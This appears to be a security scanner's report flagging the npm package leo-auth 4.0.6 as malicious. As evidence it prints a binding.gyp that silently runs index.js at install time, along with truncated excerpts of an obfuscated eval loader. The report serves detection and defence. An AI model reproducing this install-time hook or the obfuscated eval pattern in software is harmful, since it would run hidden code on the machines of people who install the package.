leo-auth 4.0.6
Obfuscated eval and install-time code execution
binding.gyp runs a command at install timeeval() with transform func call
SHA-256a934a5bcf692b9d01e8129bf264be23809dfee464df471d75a9f3fa1bcede343
MaleculeO(S₃)H₂(Db₂Po₆)Md(Pa₂)
Also flagged by osv (MAL-2026-6417: Malicious code in leo-auth (npm)) +3 more.
Evidence
1{
2 "targets": [
3 {
4 "target_name": "nothing",
5 "type": "none",
6 "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
7 }
8 ]
9}
0try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCod…
5285782…02,120,108,108,116,122,120,124,124,120,41,125,125,41,40,41].map(function(c){return String.fromCharCode(c)}).join(""),7))…
2826… if (ret === abort) break;\n }\n }\n}\n\nexport function copy(object) {\n if (object === null || o…
1{
2 "name": "leo-auth",
3 "version": "4.0.6",
4 "description": "Auth sdk",
5 "homepage": "https://leoplatform.io",
6 "main": "index.js",
7 "directories": {
8 "test": "test"
9 },
10 "scripts": {
11 "test-all": "npm run compile && npm run coverage-all",
12 "tests": "mocha --recursive -w",
13 "test": "mocha --recursive -g",
14 "coverage-all": "cross-env NODE_ENV=utest node ./node_modules/nyc/bin/nyc.js --all node ./node_modules/mocha/bin/mocha --timeout 5000 \"./{,!(node_modules)/**/}*.utest.js\"",
15 "compile": "tsc",
⋯6 lines
Showing the top 5 files — 1 more file (11 regions) not shown.
No evidence locations were recorded for this file. Raw result